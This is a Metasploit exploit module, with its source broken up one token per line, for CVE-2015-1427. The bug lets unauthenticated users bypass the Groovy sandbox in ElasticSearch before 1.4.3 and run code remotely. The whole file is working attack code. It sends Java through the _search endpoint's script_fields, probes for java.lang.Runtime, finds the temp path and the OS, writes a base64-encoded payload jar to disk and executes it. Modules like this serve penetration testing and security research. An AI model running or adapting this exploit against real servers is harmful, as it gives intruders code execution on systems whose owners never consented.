##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'ElasticSearch Search Groovy Sandbox Bypass'
,
'Description'
=> %q{
This
module
exploits a remote command execution (
RCE
) vulnerability
in
ElasticSearch,
exploitable by default on ElasticSearch prior to
1
.
4
.
3
. The bug is found
in
the
REST
API
, which does
not
require authentication, where the search function allows
groovy code execution
and
its sandbox can be bypassed using java.lang.Math.
class
.forName
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
module
has been tested successfully on ElasticSearch
1
.
4
.
2
on Ubuntu Server
12
.
04
.
},
'Author'
=>
[
'Cameron Morris'
,
# Vulnerability discovery
'Darren Martyn'
,
# Public Exploit
'juan vazquez'
# Metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2015-1427'
],
[
'URL'
,
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'
],
],
'Platform'
=>
'java'
,
'Arch'
=>
ARCH_JAVA
,
'Targets'
=>
[
[
'ElasticSearch 1.4.2'
, {}]
],
'DisclosureDate'
=>
'Feb 11 2015'
,
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
9200
),
OptString.
new
(
'TARGETURI'
, [
true
,
'The path to the ElasticSearch REST API'
,
"/"
])
],
self
.
class
)
end
def
check
result = Exploit::CheckCode::Safe
if
vulnerable?
result = Exploit::CheckCode::Vulnerable
end
result
end
def
exploit
print_status(
"#{peer} - Checking vulnerability..."
)
unless
vulnerable?
fail_with(Failure::Unknown,
"#{peer} - Java has not been executed, aborting..."
)
end
print_status(
"#{peer} - Discovering TEMP path..."
)
res = execute(java_tmp_dir)
tmp_dir = parse_result(res)
if
tmp_dir.
nil
?
fail_with(Failure::Unknown,
"#{peer} - Could not identify TEMP path..."
)
else
print_good(
"#{peer} - TEMP path on '#{tmp_dir}'"
)
end
print_status(
"#{peer} - Discovering remote OS..."
)
res = execute(java_os)
os = parse_result(res)
if
os.
nil
?
fail_with(Failure::Unknown,
"#{peer} - Could not identify remote OS..."
)
else
print_good(
"#{peer} - Remote OS is '#{os}'"
)
end
if
os =~ /win/i
tmp_file =
"#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
else
tmp_file =
File
.join(tmp_dir,
"#{rand_text_alpha(4 + rand(4))}.jar"
)
end
register_files_for_cleanup(tmp_file)
print_status(
"#{peer} - Trying to load metasploit payload..."
)
java = java_load_class(os, tmp_file)
execute(java)
end
def
vulnerable?
java =
'java.lang.Math.class.forName("java.lang.Runtime")'
vprint_status(
"#{peer} - Trying to get a reference to java.lang.Runtime..."
)
res = execute(java)
result = parse_result(res)
if
result.
nil
?
vprint_status(
"#{peer} - no response to test"
)
return
false
elsif
result ==
'class java.lang.Runtime'
return
true
end
false
end
def
parse_result(res)
unless
res
vprint_error(
"#{peer} - No response"
)
return
nil
end
unless
res.code ==
200
&& res.body
vprint_error(
"#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)"
)
return
nil
end
begin
json =
JSON
.parse(res.body.to_s)
rescue
JSON
::ParserError
return
nil
end
begin
result = json[
'hits'
][
'hits'
][
0
][
'fields'
][
'msf_result'
]
rescue
return
nil
end
result.is_a?(::
Array
) ? result.first : result
end
def
java_tmp_dir
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
end
def
java_os
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
end
def
java_load_class(os, tmp_file)
if
os =~ /win/i
tmp_file.gsub!(/\\/,
'\\\\\\\\'
)
end
java = [
'c=java.lang.Math.class.forName("java.io.FileOutputStream");'
,
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");'
,
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");"
,
'b64_i=b64.newInstance();'
,
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));"
,
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");'
,
'file_class=java.lang.Math.class.forName("java.io.File");'
,
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();"
,
'loader=loader_class.newInstance();'
,
'loader.addURL(file_url);'
,
'm=loader.loadClass(\'metasploit.Payload\');'
,
'm.main(null);'
]
java.join
end
def
execute(java, timeout =
20
)
payload = {
"size"
=>
1
,
"query"
=> {
"filtered"
=> {
"query"
=> {
"match_all"
=> {}
}
}
},
"script_fields"
=> {
"msf_result"
=> {
"script"
=> java
}
}
}
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path.to_s,
"_search"
),
'method'
=>
'POST'
,
'data'
=>
JSON
.generate(payload)
}, timeout)
res
end
end